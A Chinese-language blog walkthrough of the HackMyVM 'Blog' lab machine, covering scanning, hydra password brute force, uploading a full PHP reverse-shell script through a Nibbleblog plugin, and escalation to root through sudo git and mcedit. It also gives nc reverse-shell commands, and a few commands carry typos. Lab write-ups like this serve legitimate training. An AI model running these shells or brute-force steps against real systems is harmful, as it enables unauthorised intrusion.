渗透测试练习No.43 Mcedit编辑器提权靶机blog

本文链接：https://blog.csdn.net/hljzzj/article/details/123174683

靶机信息

下载地址:

https://hackmyvm.eu/machines/machine.php?vm=Blog
百度云链接：https://pan.baidu.com/s/1QhThrP6DRdSQdP3bg76uwg?pwd=583p
提取码：583p

靶场: hackmyvm.eu

靶机名称: Blog

难度: 简单

发布时间: 2022年2月17日

提示信息:

无

目标: 2个flag

实验环境

攻击机:VMware kali 192.168.7.3

靶机:Vbox linux IP自动获取

信息收集

扫描主机

扫描局域网内的靶机IP地址

sudo nmap -sP 192.168.7.1/24

扫描到主机地址为192.168.7.205

扫描端口

扫描靶机开放的服务端口

sudo nmap -sC -sV -p- 192.168.7.205 -oN blog.nmap

扫描到2个开放端口：

22:(SSH)80:(HTTP)

Web渗透

访问80端口

http://192.168.7.205

打开首页是一条Ping命令的记录，ping的目标是blog.hmv，猜测是让我们绑定域名

绑定域名

vi /etc/hosts

绑定后再访问

http://blog.hmv

首页没有变化，可能不需要。先做个目录扫描

gobuster dir -w ../../Dict/SecLists-2021.4/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.7.205 -x php,html,txt,zip

发现my_weblog目录，访问看看

http://192.168.7.1025/my_weblog

打开后是一个正在建设的blog页面。提示欢迎来到admin的blog，说明后台账号极有可能就是admin。先对my_weblog目录做个目录扫描

gobuster dir -w ../../Dict/SecLists-2021.4/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.7.205/my_weblog -x php,html,txt,zip

扫描到多个url，找了很久也没发现能利用的，只能从后台登录页面下手了

http://192.168.7.205/my_weblog/admin.php

我们抓个包试试sql注入，

sqlmap -u 'http://192.168.7.205:80/my_weblog/admin.php' --data='username=admin&password=123' --cookie='PHPSESSID=3em8egrtsskopa9snm3pmeko3m' --batch

不能注入，用sqlmap跑服务会卡死。暴破下admin的密码

web密码暴破

hydra -l admin -P ../../Dict/SecLists-2021.4/Passwords/xato-net-10-million-passwords-10000.txt 192.168.7.205 http-post-form "/my_weblog/admin.php:username=admin&password=^PASS^:Incorrect" -t 64

暴破出用户admin的密码为kisses，登录后台看看

http://192.168.7.205/my_weblog/admin.php

登录成功，找找有没有漏洞

在插件管理员找到一个图片配置选项，里面可以上传任意文件。传一个反弹shell脚本

shell.php

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.7.3';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
  // Fork and have the parent process exit
  $pid = pcntl_fork();
  
  if ($pid == -1) {
    printit("ERROR: Can't fork");
    exit(1);
  }
  
  if ($pid) {
    exit(0);  // Parent exits
  }

  // Make the current process a session leader
  // Will only succeed if we forked
  if (posix_setsid() == -1) {
    printit("Error: Can't setsid()");
    exit(1);
  }

  $daemon = 1;
} else {
  printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
  printit("$errstr ($errno)");
  exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
  printit("ERROR: Can't spawn shell");
  exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
  // Check for end of TCP connection
  if (feof($sock)) {
    printit("ERROR: Shell connection terminated");
    break;
  }

  // Check for end of STDOUT
  if (feof($pipes[1])) {
    printit("ERROR: Shell process terminated");
    break;
  }

  // Wait until a command is end down $sock, or some
  // command output is available on STDOUT or STDERR
  $read_a = array($sock, $pipes[1], $pipes[2]);
  $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

  // If we can read from the TCP socket, send
  // data to process's STDIN
  if (in_array($sock, $read_a)) {
    if ($debug) printit("SOCK READ");
    $input = fread($sock, $chunk_size);
    if ($debug) printit("SOCK: $input");
    fwrite($pipes[0], $input);
  }

  // If we can read from the process's STDOUT
  // send data down tcp connection
  if (in_array($pipes[1], $read_a)) {
    if ($debug) printit("STDOUT READ");
    $input = fread($pipes[1], $chunk_size);
    if ($debug) printit("STDOUT: $input");
    fwrite($sock, $input);
  }

  // If we can read from the process's STDERR
  // send data down tcp connection
  if (in_array($pipes[2], $read_a)) {
    if ($debug) printit("STDERR READ");
    $input = fread($pipes[2], $chunk_size);
    if ($debug) printit("STDERR: $input");
    fwrite($sock, $input);
  }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
  if (!$daemon) {
    print "$string\n";
  }
}

?>

上传成功了，但是没有显示文件路径

https://github.com/TheRealHetfield/exploits/blob/master/nibbleBlog_fileUpload.py

搜索引擎中找到一个exp，里面有exploitURL，验证一下

1。kali攻击机中监听4444端口

nc -lvvp 4444

执行payload

http://192.168.7.205/my_weblog/content/private/plugins/my_image/image.php

反弹成功，切换到交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xter
Ctrl+z快捷键
stty -a
stty raw -echo;fg
resset

切换完成找一下敏感信息

git命令提权

sudo -l

提示可以使用admin的权限执行git命令，现在用git命令提权到admin权限

sudo -u admin git -p help config
!/bin/bash

提权成功，找一下敏感信息

cat /home/admin/user.txt

(注）执行命令时有点总是切换一次shell即可，后期执行mcedit时也需要xterm否则无法运行成功

pytho3 -c 'import pty;pty.spanw("/bin/bash")'
export TERM=xterm

sudo -l

## mcedit编辑器提权

还是sudo提权，使用root权限执行mcedit

sudo -u root /usr/bin/mcedit

运行后是一个编辑器，在红框中点几点会出现菜单

出现菜单后点击 User menu…选项

接着在弹出的选项卡中双击 Invoke ‘shell’

切换回终端了，查看下权限

id

输入id后可以看到拿到root权限了，但是只显示最后一行很验证，我们反弹到kali攻击机上再操作

1。kali攻击机监听3333端口

nc -lvvp 3333

2。靶机上使用nc反弹

nc 192.168.7.3 3333 -e /bin/bash

反弹成功，找一下flag

cd /root
ls
cat r0000000000000000000000000t.txt

拿到root.txt，游戏结束

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